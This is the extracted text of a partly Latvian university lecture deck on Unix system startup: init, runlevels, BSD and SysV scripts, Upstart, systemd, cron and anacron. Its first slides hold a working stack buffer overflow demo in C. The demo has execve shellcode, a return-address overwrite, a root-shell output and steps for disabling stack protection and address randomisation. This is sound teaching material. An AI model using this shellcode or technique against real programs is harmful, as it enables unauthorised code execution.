1. Unix Startup Guntis Barzdins Girts Folkmanis Juris Krūmiņš Artūrs Lavrenovs

2. #include void show_array(int arrlen, char array[]) //Procedūra kurā notiek bufera pārpildīšanos { char buffer[32];//Mainīgais caur kuru notiks ielaušanos strcpy(buffer,array);//Instrukcija, kas izraisa ielaušanos (atgriešanas // adreses pārrakstīšanu) printf("%s\n",buffer);//Pēc šīs instrukcijas vadība tiek atdota shell kodam, jo //pārrakstīta atgriešanas adrese } int main(int argc,char * argv[]) { char *p; int i; long RET; RET= 0x53535353;// Mainīgais kurā tiks izvietota shell atrašanas adrese char shellpre[] =//Primitivas shell programmas kods asamblera "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"// instrukcijas heksadecimālajā pierakstā "\x31\xc0\x50\x68\x2f\x2f\x73\x68" "\x68\x2f\x62\x69\x6e\x89\xe3\x50" "\x53\x89\xe1\x99\xb0\x0b\xcd\x80"; char mystr[1000];// Mainīgais kurā glabājas speciāla virkne strcpy(mystr,argv[1]);//Tiek nolasīta argumenta vērtība mainīgā mystr sprintf(mystr+strlen(argv[1])-31-36+1-strlen(shellpre),"%s",shellpre); //Tiek pievienots shell kods p=mystr;//Mainīgais p tiek izmantots lai pārrakstītu atgriešanas adresi RET = (long)((int)(&mystr)-(int)(19)); //Mainīgais kurā glabasies adrese uz atmiņā printf("\nmystr adrese:\t0x(%x)\n",&mystr);// izvietotu shell heksadecimālajā pierakstā printf("\nMainiga mystr adrese + nobide = shell koda atrasanas vieta:\t0x(%x)\n",(long)((int)(&mystr)-(int)(19))); for(i=36;i<36+4;i+=4)//Šeit notiek atgriešanas adreses pārrakstīšana uz shell koda atrašanas adresi { printf("\nAdrese uz kuru parlec programma pec buffera parpildisanos:\t0x(%x)\n\n",RET); *(long*)(p+i)=RET;//Atgriešanas adreses pārrakstīšana } show_array(0, mystr);//Tiek izsaukta procedūra, kura izraisīs ielaušanos return 0; } ================================================================================================ g++ prob.cpp -o prob VladimirsDebian:/home/vladimirs/Buffer_overflow/Test/Proba shell#./prob `perl -e 'print "A"x150'`BBB mystr adrese: 0x(bfda4663) Mainiga mystr adrese + nobide = shell koda atrasanas vieta: 0x(bfda4650) Adrese uz kuru parlec programma pec buffera parpildisanos: 0x(bfda4650) AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPF ڿ AAAAAAAAAAAAAAAA1 � 1 ۰ 1 � Ph//shh/bin �� PS � sh-3.1# //Tika nospiests 2 reizis TAB Display all 1869 possibilities? (y or n)//Izvelets „n” sh-3.1# exit exit VladimirsDebian:/home/vladimirs/Buffer_overflow/Test/Proba shell# Buffer Overflow

3. #include #define NOP 0x90 int main(int argc, char *argv[]){ //ievada strings tiek padots funkcijai foo(argv[1]); //Izrukas nav, ja funkcijaa foo ir mainita atgriesanas adrese printf("Hello world!\n"); return 0; } void foo(char *tmp){ char buf[100]; int i; //iekope ievada sakuma adresi long *long_ptr = (long *)tmp; //ieraksta sakot no 112. baita lidz 115. ieskaitot bufera adresi //ievada sakuma bus NOP tapec nobide pa 2(var ari citu) *(long_ptr + 28) = (int)&buf+2; //buf 100 baitos kope 116 baitus, pedejos 4 tmp baitos ir jauna atgriesanas adrese strcpy(buf,tmp); //tiek izdrukats, jo funkcija vel nav beigusies printf("Hello world2!\n") } Buffer Overflow

4.  Ar mūsdienu kompilatoriem programma jānokompilē ar īpašu slēdzi -fno-stack-protector gcc komandrindā, pretējā gadījumā nokopilētā programma pasargā steku, un tajā mēģinot ierakstīt izmet kļūdu: *** stack smashing detected ***:./a.out terminated  jāatslēdz adrešu telpas randomizācija, tāpēc izpildām komandrindā komandu “sysctl –w kernel.randomize_va_space”.

5. Init  Shell (1) Jaunākajos linux distributīvos pie startēšanās ir iespējams norādīt boot opcijas. Tās var ievadīt caur lilo konfigurācijas failu. Lilo bootloader(am), lai jaunās opcijas tiktu ņemtas vērā, tās jāapstiprina ar lilo komandu. Savukārt uz datora ar SUSE 10.2 ar Grub bootloader(i). startējoties ierakstām boot opciju: init=/bin/bash Pēc kerneļa palaišanās tiešām tiek piestartēts bash shell(s). root partīcija ir piemontēta read režīmā, pārējās partīcijas nav piemontētas vispār. Vienkāršākais veids, kā panākt linux piestartēšanos, ir palaist skriptu /etc/rc.d/boot Šis scripts palaiž visus skriptus, kas atrodas /etc/init.d un kuri sākas ar boot.xxxx. Protams, var mēģināt arī ar roku pa vienam palaist šos boot.xxxx skriptus un skatīties, kas notiks. Pēc /etc/rc.d/boot skripta izpildes ir piemontētas visas partīcijas read/write režīmā. Pēc šī skripta izpildes nepieciešams uzstādīt visus nepieciešamos ENVIRONMENT VARIABLES (es to neizdarīju) un palaist pārējos skriptus, kas atrodas /etc/init.d/ zem attiecīgā runlevel. Ja neuzstāda ENVIRONMENT VARIABLES, tad shell(s) stāsta, ka nevar atrast daudzas komandas, ja vēlas lai šīs komandas izpildītos, tad jānorāda pilns ceļš uz tām.

6. Init  Shell (2) Aizvietoju /sbin/init ar nokompilēto toyshell2. To var darīt tikai “neejošai” sistēmai, piemēram, datoru piestartējot no bootbale CD un piemontējot atbilstošo HDD root partīciju rediģēšanai. Dzīvā sistēmā aizvietojot init ar citu programmu gan uz Linux sistemas, gan FreeBSD abos gadījmos iestāj¯as kerneļa panika un sistēmas darbība apstājas. Var redzēt arī, kā inicializēju tīklu, ping-oju, un apstādinu sistēmu. Šādā pašā variantā konstatēju 15MB aizņemtās operatīvas atmiņas, izmantojot komandu top. Un čaula atvērās uzreiz pēc kodola pēdējā paziņojuma 119. rindiņā. 111 Begin: Running /scripts/localpremount... 112 Done. 113 [19499.260388] kjournald starting. Commit interval 5 seconds 114 [19499.260405] EXT3fs: mounted filesystem with ordered data mode. 115 Begin: Running /scripts/localbottom... 116 Done. 117 Done. 118 Begin: Running /scripts/initbottom... 119 Done. 120 #/#> /etc/init.d/mountkernfs.sh start 121 * Files under mount point '/var/run' will be hidden. 122 #/#> /etc/init.d/loopback start 123 * Starting basic networking... [ OK ] 124 #/#> /etc/init.d/networking start 125 * Configuring network interfaces... [ OK ] 126 #/#> [19525.523708] NET: Registered protocol family 10 127 [19525.523807] lo: Disabled Privacy Extensions 128 129 #/#> ping c 2 www.delfi.lv 130 #/#> PING www.delfi.lv (62.85.117.94) 56(84) bytes of data. 131 64 bytes from 62.85.117.94: icmp_seq=1 ttl=57 time=4.04 ms 132 64 bytes from 62.85.117.94: icmp_seq=2 ttl=57 time=5.78 ms 133 134 www. delfi.lv ping statistics 135 2 packets transmitted, 2 received, 0% packet loss, time 1003ms 136 rtt min/avg/max/mdev = 4.041/4.910/5.780/0.872 ms 137 138 #/#> ifconfig 139 eth0 Link encap:Ethernet HWaddr 00:16:3E:00:01:03 140 inet addr:10.0.10.12 Bcast:10.0.10.255 Mask:255.255.255.0 141 inet6 addr: fe80::216:3eff:fe00:103/64 Scope:Link 142 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 143 RX packets:42 errors:0 dropped:0 overruns:0 frame:0 144 TX packets:19 errors:0 dropped:0 overruns:0 carrier:0 145 collisions:0 txqueuelen:1000 146 RX bytes:4727 (4.6 KiB) TX bytes:1466 (1.4 KiB) 147 148 lo Link encap:Local Loopback 149 inet addr:127.0.0.1 Mask:255.0.0.0 150 inet6 addr: ::1/128 Scope:Host 151 UP LOOPBACK RUNNING MTU:16436 Metric:1 152 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 153 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 154 collisions:0 txqueuelen:0 155 RX bytes:0 (0.0 b) TX bytes:0 (0.0 b) 156 157 #/#> 176 #/#> halt f 177 #/#> [19734.414514] System halted.

8. System Lifecycle: Ups & Downs Power on Power off BootKernel Init OS Init RUN!Shut down

9. Startup Sequence Power-on Boot loader LILO Boot loader LILO Load Kernel Load Kernel Create init process Create init process rc.sysinit runlevel 0-6 runlevel 0-6 rc.local Linux Initialisation Scripts Ready hardware

10. System initialization  OS Initialization Once the boot loader has loaded the OS image into memory, control is transferred to the OS. A large aspect of initialization for any operating system is the establishment of virtual memory management. On an Intel- based system this typically involves setting up the Global Descriptor Table (GDT), creating a Local Descriptor Table (LDT), switching the processor into protected memory mode, setting up page directories and enabling paging. Additional tasks include device driver initialization and the assignment of interrupts in the Interrupt Descriptor Table (IDT). Another major initialization task is establishing support for various file system types and mounting a root file system.

11. System initialization  OS Initialization The initial process must explicitly do for itself all the tasks accomplished by a call to fork(). This initial process, numbered 0 on UNIX systems. Process 0 must be able to self-generate its own process context. Once this context has been established, the system has the capability to suspend and resume execution of Process 0 just as it would any other process. Once established, the role of Process 0 differs by operating system. Process 1, commonly referred to as the init process, is the first process forked from Process 0. Once Process 1 has been forked from Process 0, often a number of additional kernel space processes are created to handle additional kernel space tasks. Once all of these are running, the kernel space operating system initialization is complete.

12. System initialization

13. 1. A “pagedaemon” process to handle page swapping for the virtual memory subsystem, 2. A “reaper” process to free the resources still allocated to dead processes, 3. A “cleaner” process to clear out dirty buffers found in the BQ_DIRTY buffer queue, 4. An “update” process for synchronizing the file systems, 5. An “aiodoned” process for handling completed asynchronous I/O operations,

14. System initialization

15. Unix Process Hierarchy Login shell Child Grandchild [0] Daemon e.g. httpd init [1] /etc/inittab

16. init When the kernel has started itself (has been loaded into memory, has started running, and has initialised all device drivers and data structures and such), it finishes its own part of the boot process by starting a user level program, init. Thus, init is always the first process (its process number is always 1). The kernel looks for init in a few locations that have been historically used for it, but the proper location for it (on a Linux system) is /sbin/init. If the kernel can't find init, it tries to run /bin/sh, and if that also fails, the startup of the system fails. When init starts, it finishes the boot process by doing a number of administrative tasks, such as checking filesystems, cleaning up /tmp, starting various services, and starting a getty for each terminal and virtual console where users should be able to log in.

17. pstree Kernel threads, not real processes Forked processes for network connections

18. Userspace system initialization  Historically there were two initialization systems : System V BSD  These two system differ with names, script running order, directory hierarchy which hold initialization scripts.  Linux systems mainly used System V initialization system until recently.

19. Different Unix startup files..  Unix systems are usually based in the AT&T System III & V or BSD. Sun Mircosystems Solaris 2.X (formally SunOS) BSD-ish DEC OSF/1 is BSD-ish (DEC use to do Ultrix) IBM AIX (neither ATT or BSD but something else) HP HP-UX (BSD-ish) Silicon Graphics, IRIX (ATTish) SCO (Santa Cruz Operation) PC unix (ATT) Linux, kernel from Linus Torvalds (BSD-ish for admin, ATT-ish for programming)  Distributions Slackware, Redhat, SuSE, Debian other free PC Unixs, NetBSD, 386BSD, free BSD

20. Userspace system initialization  Kernel start up root file system in ro mode and run init process  As a result we have: ro file system init process  The next system step initializing user space environment greatly depends on init configuration file /etc/inittab  It’s very important to understand that until this moment it doesn’t matter what initialization system will be used.

21. Startup files  How to start other services not in kernel?  BSD mode /etc/rc.boot, /etc/rc.single, /etc/rc and /etc/rc.local  System V Startup runlevels init process and /etc/inittab file On linux: 0: shutdown and halt 1 single-user mode 2 multiuse mode, no file sharing 3 full multiuser. 4 unused 5 X windows console 6 shuts down and reboots

22. Sample BSD Startup Scripts /etc/rc.boot  First rc script to run is /etc/rc.boot The first two lines set HOME and PATH environment variables Executes basic system commands during boot hostname file in /etc for each network interface enables IP networking on each interface

23. Sample BSD Startup Scripts /etc/rc.boot (cont.)  Address or hostname of default Internet gateway is read from /etc/defaultrouter  non-local NW connections up prior to more complicated routing in boot process  /usr filesystem read-only for system check to see if /fastboot exists Yes: system shut down cleanly~ filesystems in consistent state No: all filesystems listed in /etc/fstab checked in fsck  If disks check cleanly~ rc.boot runs /etc/rc.single

24. Sample BSD Startup Scripts /etc/rc.single  Commands in /etc/rc.single are executed at boot time even if not using single mode  Remounts / and /usr filesystems read/write if not remounted~ system not able to come up  Cleans out /etc/mtabfile and adds entries for / and /usr was previously mounted but not in mtab file because root filesystem not writable  /usr/kvm mounted~ clean up shared library cache

25. Sample BSD Startup Scripts /etc/rc.single  /etc/utmp file cleaned out contains user list of current log ins  tzsetup command sets local time zone & status of daylight savings time (kernal is GMT)  loadkeys command sets keyboard mapping  rc.single exits~ rc.boot exits  No problems in autoboot mode the next init process is /etc/rc  If problem~single-user (sh process) on console

26. Sample BSD Startup Scripts /etc/rc  /etc/rc is the main system startup up script in autoboot after rc.boot if single-user: rc after shell is terminated  if root filesystems not writable~ rerun rc.single  clean up shared library cache  remove /fastboot file  /etc/passwd file edited ~system crashes vipw and /etc/rc script make sure password file not destroyed at crash

27. Sample BSD Startup Scripts /etc/rc (cont.)  Enable quotas  /bin/ps -u cleans out the ps database (status of processes)  /etc/nologin created by shutdown to prevent logins during shutdown  executes rc.local script  swapon -a to make use of all swap partitions listed in etc/fstab  expreserve : looks in /tmp to find files that were edited when system went down  Start standard system daemons (i.e., lpd, inetd, update, uushed )

28. Sample BSD Startup Scripts /etc/rc.local  /etc/rc.local contains commands for local system  portmap daemon maps RPC (remote procedure call) service numbers to the NW ports of appropriate servers  NIS (NW info service) Domain Name set from /etc/default domain  set subnet mask of all machines interfaces  default route reset~ if no default routing daemon run  list current configuration of NW interfaces on console

29. Sample BSD Startup Scripts /etc/rc.local (cont.)  All NFS filesystems mounted  named (server for Domain Name system) maps between hostnames and Internet addresses  Client side NFS daemon run ( biod )  syslogd: responsible for managing log messages  save kernel core dump in /var/crash/hostname Image saved on swap partition~ save image to real filesystem  Clean up temporary mail lock files and start sendmail

30. Sample BSD Startup Scripts /etc/rc.local (cont.)  Make machine NFS Server if filesystems need to be exported  Daemon to support diskless clients  rpc.statd and rpc.lockd manage advisory locks on NFS filesystems  Start automount daemon  3rd party vendor install scripts  Appletalk protocol stack started  Licensed software add-ons

31. BSD Startup Scripts  Typically, BSD variants include a r un c ontrol (also known as an rc) script in the /etc directory. This allows the administrator to edit a single /etc/rc script to make it start a new service at boot time.  Other BSD variants have simply increased the number of rc files in the /etc directory. For example, the FreeBSD start-up directory contains scripts with names such as /etc/rc.atm, /etc/rc.firewall, and /etc/rc.network. These individual scripts, respectively, configure the ATM network cards, cause the system to become a firewall, and configure the network links respectively. These scripts are called by the master script, /etc/rc

32. FreeBSD today init calls /etc/rc script /etc/defaults/rc.conf contains hundreds of variables and startup definitions (e.g. sendmail_enable="NO") for startup scripts in /etc/rc.d/ (e.g. /etc/rc.d/sendmail) /etc/rc.conf overrides defaults and adds new services, non base scripts located in /usr/local/etc/rc.d/ Keywords in rc scripts – PROVIDE: name of service – REQUIRE: list of service names required to be started – BEFORE: execute before defined service names Scripts ordered by dependencies but run serially

33. System V Run Levels  Level 0 – shutdown  Level 1 or S – single-user mode  Level 2 thru 5 – multi-user mode  Level 6 - reboot

34. System V initialization system RHEL 4 BOOTFLAGS It is possible to pass a number of flags to init from the boot monitor (eg. LILO). Init accepts the following flags: -s, S, single - Single user mode boot. In this mode /etc/inittab is examined and the bootup rc scripts are usually run before the single user mode shell is started. 1-5 - Runlevel to boot into. -b, emergency - Boot directly into a single user shell without running any other startup scripts. -a, auto - The LILO boot loader adds the word "auto" to the command line if it booted the kernel with the default command line (without user intervention). If this is found init sets the "AUTOBOOT" environment variable to "yes". -z xxx - The argument to -z is ignored. You can use this to expand the command line a bit, so that it takes some more space on the stack. Init can then manipulate the command line so that ps(1) shows the current runlevel.

35. Startup Script Directories  /etc/inittab tells init where scripts are  /etc/init.d script directory  /etc/rc2.d link to script directory

36. /etc/rc.d [root@guntis-bio rc.d]# ls -l total 112 drwxr-xr-x 2 root root 4096 Sep 8 13:42 init.d -rwxr-xr-x 1 root root 2255 Sep 21 2006 rc drwxr-xr-x 2 root root 4096 Sep 7 22:39 rc0.d drwxr-xr-x 2 root root 4096 Sep 7 22:39 rc1.d drwxr-xr-x 2 root root 4096 Sep 8 15:43 rc2.d drwxr-xr-x 2 root root 4096 Sep 8 15:43 rc3.d drwxr-xr-x 2 root root 4096 Sep 8 15:43 rc4.d drwxr-xr-x 2 root root 4096 Sep 8 15:43 rc5.d drwxr-xr-x 2 root root 4096 Sep 7 22:39 rc6.d -rwxr-xr-x 1 root root 220 Jun 23 2003 rc.local -rwxr-xr-x 1 root root 26613 Nov 10 2007 rc.sysinit [root@guntis-bio rc.d]#

37. Linux Run Levels Linux defines 7 run levels Each run level defines a set of commands that are run to stop and start processes. The actual commands are held in /etc/init.d directory The run level directories rc0.d, rc2.d…rc6.d contain links to the actual commands Each command is prefixed with S or K and a number 00-99 S prefix means that a process should be started e.g. S10network K prefix means that a process should be stopped (killed) K70syslog The numbers determine the order in which the commands are run from lowest first to highest last

38. Runlevel Commands # ls /etc/rc2.d K03samba S42ncakmod S81dodatadm.udaplt K05volmgt S47pppd S89PRESERVE K06mipagent S65ipfboot S89bdconfig K07dmi S69mrouted S90wbem K07snmpdx S70sckm S93cacheos.finish K16apache S70uucp S94ncalogd K27boot.server S72autoinstall S95ncad README S73cachefs.daemon S95networker S10lu S75savecore S98deallocate S20sysetup S80lp S99audit S40llc2 S80spc

39. Startup files  Understanding /etc/inittab Label:runlevel:action:process id:5:initdefault: # System initialization. si::sysinit:/etc/rc.d/rc.sysinit l0:0:wait:/etc/rc.d/rc 0 l1:1:wait:/etc/rc.d/rc 1 l2:2:wait:/etc/rc.d/rc 2 l3:3:wait:/etc/rc.d/rc 3 l4:4:wait:/etc/rc.d/rc 4 l5:5:wait:/etc/rc.d/rc 5 l6:6:wait:/etc/rc.d/rc 6

40. /etc/inittab # The default runlevel is defined here id:5:initdefault: # First script to be executed si::sysinit:/etc/rc.d/rc.sysinit # /etc/init.d/rc takes care of # runlevel handling l0:0:wait:/etc/init.d/rc 0 l1:1:wait:/etc/init.d/rc 1 l2:2:wait:/etc/init.d/rc 2 l3:3:wait:/etc/init.d/rc 3 l4:4:wait:/etc/init.d/rc 4 l5:5:wait:/etc/init.d/rc 5 l6:6:wait:/etc/init.d/rc 6 ls:S:wait:/etc/init.d/rc S # what to do when CTRL-ALT-DEL is pressed ca::ctrlaltdel:/sbin/shutdown -r -t 4 now # getty-programs for the normal runlevels # The "id" field MUST be the same as the # last characters of the device name 1:2345:respawn:/sbin/mingetty --noclear tty1 2:2345:respawn:/sbin/mingetty tty2 3:2345:respawn:/sbin/mingetty tty3 4:2345:respawn:/sbin/mingetty tty4 5:2345:respawn:/sbin/mingetty tty5 6:2345:respawn:/sbin/mingetty tty6

41. Some Linux inittab action valus ActionMeaning BootRuns when system boots BootwaitInit waits for complete Ctrlaltdelctrl+alt+delete InitdefaultSet the default runlevel offDisable the entry OnceFor every runlevel PowerfailWhen init receive SIGPWR signal PowerokwaitSIGPWR and /etc/powerstatus has ok RespawnRestart the process whenever it terminates SysinitBefore any boot WaitUpon entering the run mode and waits to complete

42. Linux startup - rc.sysinit script  /etc/rc.d/rc.sysinit - does a range of basic tasks including configures networking sets host name checks the root file system for repairs check root file system quota & turns quotas for groups and users mount non-root file systems and checks them for repairs turns on swapping (virtual memory subsystem) checks and loads modules (drivers) (see /var/log/messages)

43. init scripts start other processes The system first runs the scripts whose names start with K to kill the associated processes  /etc/rc.d/init.d/ stop Then system runs the scripts whose names start with S to start the processes  /etc/rc.d/init.d/ start

44. System V initialization system RHEL 4 [juris@ns1 rc4.d]$ pwd /etc/rc.d/rc4.d [juris@ns1 rc4.d]$ ls –l... lrwxrwxrwx 1 root root 19 Jun 2 2005 K05saslauthd ->../init.d/saslauthd lrwxrwxrwx 1 root root 13 Jun 2 2005 K20nfs ->../init.d/nfs lrwxrwxrwx 1 root root 14 Jun 2 2005 K24irda ->../init.d/irda lrwxrwxrwx 1 root root 15 Jun 2 2005 K25squid ->../init.d/squid lrwxrwxrwx 1 root root 16 Jun 2 2005 S09pcmcia ->../init.d/pcmcia lrwxrwxrwx 1 root root 16 Jun 2 2005 S40smartd ->../init.d/smartd lrwxrwxrwx 1 root root 14 Jun 2 2005 S55sshd ->../init.d/sshd lrwxrwxrwx 1 root root 16 Aug 11 2005 S55sshdlp ->../init.d/sshdlp... lrwxrwxrwx 1 root root 15 Jun 2 2005 S97rhnsd ->../init.d/rhnsd lrwxrwxrwx 1 root root 11 Jun 15 2005 S99local ->../rc.local [juris@ns1 rc4.d]

45. Benefits of init Scripts  One of the benefits of using init directory scripts is that they are easily tested. The scripts may be manually invoked with the stop and start arguments as a check to determine whether they function correctly before creating the links to the rc directories, and trying them under actual system boot conditions. This procedure is recommended because it can help you catch mistakes that might interrupt the boot process and leave the system unusable.

46. Changing Run Levels  The following commands are typically reserved for system maintenance activities. UNIX shutdown Command The System V init 0 Command The telinit Command NOTE: The shutdown, telinit, and init 0 commands can only be executed with root access.

47. Linux Run Levels 0-2  Runlevel 0 Directory /etc/rc.d/rc0.d Actually shutdown sequence Kill all processes Turn off virtual memory system (i.e. swap partition) unmounts swap and file systems  Runlevel 1 /etc/rc.d/rc1.d single user mode used for maintenance by system administrators when they need sole control of machine, e.g. reconfiguring hardware installing software  Runlevel 2 /etc/rc.d/rc2.d Multi-user + networking (minus NFS)

48. Linux Run level 3-6  Runlevel 3 /etc/rc.d/rc3.d Default run level multi-user + NFS  Runlevel 4 /etc/rc.d/rc4.d not defined ( available for customization)  Runlevel 5 /etc/rc.d/rc5.d Same as 3 under Redhat but includes starting X windows  Runlevel 6 /etc/rc.d/rc6.d reboot similar to 0 but allows option to shutdown (halt) or reboot

49. Linux today  Why not SysV init? It launches daemons only serially so it's slow Also potential for hang-ups, overhead, etc.  World's most popular Linux distribution Ubuntu developed its own event-based initialization system Upstart. Currently used as default by Ubuntu, RHEL6, Chrom(-e/-ium) OS, etc.  Everyone else (Debian, Arch, Fedora, openSUSE, etc.) moves to dependency-based init system systemd

50. Upstart Emits events which services can register an interest in When an event/combination of events is emitted that satisfies some service's requirements, Upstart will automatically start or stop that service If multiple jobs have the same "start on" condition, Upstart will start those jobs ''in parallel'' Biggest advantage is ability to handle kernel events like udev new devices (no other common init can) Ability to run user session and manage graphical session (replace gnome-session as of Ubuntu 13.10) Socket event allows replacement of inetd/xinetd

51. Upstart - Jobs A "unit of work" - generally either a "Task" or a "Service". Jobs are defined in /etc/init/*.conf files Backwards compatibility: # /etc/init.d/mysql stop Rather than invoking init scripts through /etc/init.d, use the service(8) utility, e.g. service mysql stop Since the script you are attempting to invoke has been converted to an Upstart job, you may also use the stop(8) utility, e.g. stop mysql mysql stop/waiting # ls -lt /etc/init.d/mysql lrwxrwxrwx 1 root root 21 Jul 24 06:47 /etc/init.d/mysql -> /lib/init/upstart-job

52. Upstart - Events Well known events startup – first event emited, triggers system initialization Many events emited by jobs, software, kernel Emited by job state transition starting - when a job is about to start executing started - when a job is now running stopping - when a job is about to be stopped stopped - when a job has completed Job defined event emits desktop-shutdown initctl emit desktop-shutdown

53. Upstart - Events Jobs listen for events start|stop on EVENT [[KEY=]VALUE]... [and|or...] start on starting apache2 stop on stopped apache2 Emulation of SysV runlevels, common use in jobs start on runlevel [2345] stop on runlevel [!2345] / stop on runlevel [016] /etc/init/rc-sysinit.conf start on (filesystem and static-network-up) or failsafe- boot emits runlevel telinit "${DEFAULT_RUNLEVEL}"

54. Upstart - Startup Process I 1) Upstart performs its internal initialization. 2) Upstart itself emits a single event called startup. This event triggers the rest of the system to initialize. 3) init runs a small number of jobs which specify condition “start on startup”. The most notable of these is the mountall job which mounts your disks and filesystems. 4) The mountall job in turn emits a number of events. These include local-filesystems, virtual-filesystems and all-swaps. See upstart-events for further details. 5) The virtual-filesystems event causes the udev job to start. 6) The udev job causes the upstart-udev-bridge job to start.

55. Upstart - Startup Process II 7) The upstart-udev-bridge job will at some point emit the "net-device-up IFACE=lo" event signifying the local network (for example, 127.0.0.0 for IPv4) is available. 8) After the last filesystem is mounted, mountall will emit the filesystem event. 9) Since the start on condition for the rc-sysinit job is “start on filesystem and net-device-up IFACE=lo” Upstart will then start the rc-sysinit job. 10) The rc-sysinit job calls the telinit command, passing it the runlevel to move to “telinit 2” 11) The telinit command emits the runlevel event as “runlevel RUNLEVEL=2 PREVLEVEL=N”. That this is all the telinit command does – it runs no commands itself to change runlevel! 12) The runlevel event causes many other Upstart jobs to start, including /etc/init/rc.conf which starts the legacy SystemV init system. start on runlevel [0123456] exec /etc/init.d/rc $RUNLEVEL

56. Upstart – Example /etc/init/ssh.conf description"OpenSSH server" start on filesystem or runlevel [2345] stop on runlevel [!2345] respawn respawn limit 10 5 umask 022 console none pre-start script test -x /usr/sbin/sshd || { stop; exit 0; } test -e /etc/ssh/sshd_not_to_be_run && { stop; exit 0; } test -c /dev/null || { stop; exit 0; } mkdir -p -m0755 /var/run/sshd end script exec /usr/sbin/sshd -D

57. systemd Dependency based, runs in parallel everything it can. Advertises itself as solution for all Upstart problems. Main of which is not being developed by Canonical. Provides a replacement for sysvinit, pm-utils, inetd, acpid, syslog, watchdog, cron and atd. Declarative configuration files rather than a shell scripts.

58. systemd

59. systemd example - /usr/lib/systemd/system/redmine.service [Unit] Description=Redmine server After=syslog.target After=network.target [Service] Type=simple User=user Group=user ExecStart=/bin/ruby /home/user/script/rails server webrick -e production # Give a reasonable amount of time for the server to start up/shut down TimeoutSec=300 [Install] WantedBy=multi-user.target

60. Shutdown  shutdown allows... users to be warned the systems is going down the contents of disk caches to be written to disk file systems to be marked as having been closed properly (avoid file system check on next startup)  Access to the shutdown command is restricted (it is in /sbin)  eg shutdown -h now h = halt r = reboot

61. Internet Daemon  Daemon inetd started at boot time  Configuration file /etc/inetd.conf Name, type, protocol, wait-status, uid, server, arguments # ftp stream tcp6 nowait root /usr/sbin/tcpd in.ftpd telnet stream tcp6 nowait root /usr/sbin/tcpd in.telnetd # # Mail is a useful thing... pop3 stream tcp nowait root /etc/mail/popper popper -s imap stream tcp nowait root /etc/mail/imapd imapd

63. Internet Daemon  When to modify inetd.conf Disable a service Add a # at the beginning of the entry Send hang-up to inetd kill –HUP processid Enable a service Change the path Modify arguments

64. Extended Internet Daemon  Daemon xinetd  Configuration file /etc/xinetd.conf and /etc/xinetd.d Attribute/value pair Diable = yes/no

65. Setup automatic Mounting /etc/fstab /etc/vfstab # Device Mpoint FStype Opt Dump Pass /dev/sd01sf /new ufs rw0 2 /dev/da0b none swap sw 0 0

66. /etc/fstab  Configuration file for all partitions known to the system.  Entry format: /dev/device /dir/to/mount fstype parameters fs_freq fs_passno Sample entry: /dev/hda10/tmpext2defaults1 2  For entries in /etc/fstab, can run mount command with just mount point: > mount /tmp To mount all file systems: > mount -a

68. Sample Directory Tree with Mount Points

69. Mounting and Unmounting File Systems  File Systems mounted with the mount command: mount [options] device directory For example: mount –o rw –t ext2 /dev/hda10 /tmp  File systems umounted with the umount command: umount [-f] directory For example: umount /tmp  File systems should only be umounted when they are not in use.

70. Scheduling processes - cron Many aspects of system administration require things to be done on a routine basis Rotating logs building help files checking disk space checking permissions Remembering to do thing is error prone Unix provides scheduling mechanism refereed to as cron. Cron has two parts Daemon - crond table of actions /etc/crontab

71. Cron  the crond Daemon is started at boot time  the daemon ‘wakes up’ every minute to check its table of actions if their is something to do -> run command if nothing to do --> go back to sleep for 1 min  User Cron table is a list (time,command) pairs. The format is  minute hour day month dayofweek command  System Cron table is a list (time,user,command) triples.

72. Crontab  Commands can be scheduled by minute (0 59) Hour ( 0 to 23) Day of the month (1 - 31) Month ( 1 to 12) Day of the week (0=Sunday 6 = sat, or use mon,tues,wed)  Example 01 * * * * commnd2 # hourly at 1 minute past * 1 * * * commnd2 # daily at 1 am 04 1 * * * commands 3 - run at 4 minute past 1 each day * means ‘check every’

73. Cron  Under Redhat Linux the cron table is used to execute a set of commands in some special directories /etc/cron.hourly /etc/cron.daily contains logrotate, makewhatis,slocate,tmpwatch /etc/cron.weekly /etc/cron.monthly You can add you own commands to the appropriate directory, but remember they need to be ‘batch’ commands as they will run automatically

74. Crontab Files  Minute 0-59  Hour 0-23  Day 1-31  Month 1-12  Weekday 0-6 (0=Sunday) * Matches everything 1-3 Matches range 1,5 Matches Series  Special strings - @hourly (same as 0 * * * *), @daily, @weekly, @monthly, @yearly, etc.  Most special of all @reboot

75. Examples 15,45 10 * * 1-5 write garth % Hi Garth % get a job 30 2 * * 1 (cd /user/joe/p; make ) find /tmp –atime +3 –exec rm –f {} ‘;’  Output mailed to owner of crontab file

76. crontab commands User crontab  crontab Replace ^C exit  crontab –l List  crontab –e Edit  crontab –l > cronfile  crontab cronfile cron.allow - If this file exists, it must contain your username for you to use cron jobs. cron.deny - If the cron.allow file does not exist but this does then, you must not be listed here. System crontab  Just edit /etc/crontab as root, nowadays it reloads automatically

77. Common Uses for CRON  Cleaning the filesystem  Distribution of config files  Rotating log files  Backups  Heavy task offloading (e.g. database reindexing at nights)  Not suitable for end user systems (Desktop/Laptop/etc.) that are not runing 24/7 (or up at cron defined times) – Critical tasks not started (e.g. nightly backup not created) – Tasks piling up (when started system is affected) – Tasks might never get completed (user shutdown system)

78. Anacron - anac(h)ronistic cron Anacron can be used to execute commands periodically, with a frequency specified in days. Unlike cron, it does not assume that the machine is running continuously. /etc/anacrontab contains list of jobs. Each job entry specifies a period in days, a delay in minutes, a unique job identifier, and a shell command. For each job Anacron: checks whether this job has been executed in the last n days, where n is the period specified for that job if not, runs the job's shell command, after waiting for the number of minutes specified as the delay parameter date is recorded in a special timestamp file, so it can know when to execute it again

79. Anacron II Frequently replaces cron >=daily tasks in end user systems $ cat /etc/crontab 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * roottest -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 roottest -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * roottest -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) $ cat /etc/anacrontab 15cron.dailyrun-parts --report /etc/cron.daily 710cron.weeklyrun-parts --report /etc/cron.weekly @monthly15cron.monthlyrun-parts --report /etc/cron.monthly # cat /var/spool/anacron/cron.daily 20131010

